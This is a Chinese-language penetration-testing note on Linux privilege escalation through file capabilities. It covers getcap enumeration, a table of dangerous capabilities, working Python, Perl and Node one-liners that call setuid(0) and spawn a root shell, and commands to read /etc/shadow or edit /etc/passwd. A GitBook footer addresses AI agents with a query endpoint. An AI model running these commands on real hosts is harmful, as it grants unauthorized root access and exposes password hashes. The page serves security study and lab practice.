> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/capabilities.md). # Capabilities Linux 能力将 root 权限拆分为可分配给二进制文件的细粒度权限。危险的能力例如 `cap_setuid+ep`, `cap_dac_read_search+ep`，或文件写入能力可以绕过普通用户限制。 ## 方法 * 枚举文件能力并识别具有危险权限位的二进制文件。 * 检查 GTFOBins 和特定语言的有效载荷，寻找 shell、读取、写入或 setuid 滥用方式。 * 在尝试获取 root shell 之前，优先使用最小化验证命令。 ## 快速检查 ```bash getcap -r / 2>/dev/null getcap -r /usr/bin/ 2>/dev/null getcap -r /usr/sbin/ 2>/dev/null getcap -r /bin/ 2>/dev/null getcap -r /sbin/ 2>/dev/null ``` ## 危险能力示例 | 能力 | 重要性 | | ------------------------ | ----------------------- | | `cap_setuid+ep` | 可使二进制切换到 UID 0。 | | `cap_dac_read_search+ep` | 可绕过文件读取和目录搜索权限。 | | `cap_dac_override+ep` | 可绕过普通文件权限检查。 | | `cap_sys_admin+ep` | 范围非常广泛的能力，通常几乎等同于 root。 | | `cap_setgid+ep` | 可使二进制切换到特权组。 | 如果 Python 具有 `cap_setuid`，则最小化验证为： ```bash /usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")' ``` ## 语言运行时示例 Python： ```bash getcap -r /usr/bin/python* 2>/dev/null /usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash")' ``` Perl： ```bash getcap -r /usr/bin/perl* 2>/dev/null /usr/bin/perl -e 'use POSIX (setuid); setuid(0); exec "/bin/bash";' ``` Node.js： ```bash getcap -r /usr/bin/node* 2>/dev/null /usr/bin/node -e 'process.setuid(0); require("child_process").spawn("/bin/bash", {stdio: [0, 1, 2]});' ``` CAP\_SETGID 示例： ```bash getcap -r / 2>/dev/null | grep setgid /usr/bin/perl -e 'use POSIX (setgid); setgid(0); exec "/bin/bash";' ``` 读取/写入能力示例： ```bash getcap -r / 2>/dev/null | grep dac_read_search /usr/bin/vim /etc/shadow getcap -r / 2>/dev/null | grep dac_override /usr/bin/nano /etc/passwd ``` 当存在能力时，可结合 GTFOBins 审查的其他解释型运行时： ``` ruby php lua ``` 查看进程和可用能力： ```bash capsh --print capsh --print | grep cap_ ``` 设置能力需要 root，但这对实验室复现很有用： ```bash sudo setcap cap_setuid+ep /path/to/binary ```

Vim 能力

关于 Linux 提权的 Vim 能力说明，包含枚举步骤、利用示例和面向报告的验证。/pages/eb5d57696756eaa5ee41793ba3a6429f24ac3172

Python 能力

通过 cap_setuid 和 GTFOBins 有效载荷进行 Linux 提权的 Python 能力滥用。/pages/f0b1256bad6869a61d0e368697f44d892bb8671b

tar 能力

关于 Linux 提权的能力（tarS 二进制）说明，包含枚举步骤、利用示例和面向报告的验证。/pages/e8ba6fe187a7dcb5a49614f2c767d8b015d4d71d

Perl 能力

关于 Linux 提权的能力（Perl）说明，包含枚举步骤、利用示例和面向报告的验证。/pages/1397fe2c1af665eb9138e3b9b0ddd545805bac1b

tac 能力

关于 Linux 提权的能力（tac）说明，包含枚举步骤、利用示例和面向报告的验证。/pages/031aaf17a4af43687ff60cc9b681ab0e1a958f7e
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/zh/privesc/capabilities.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.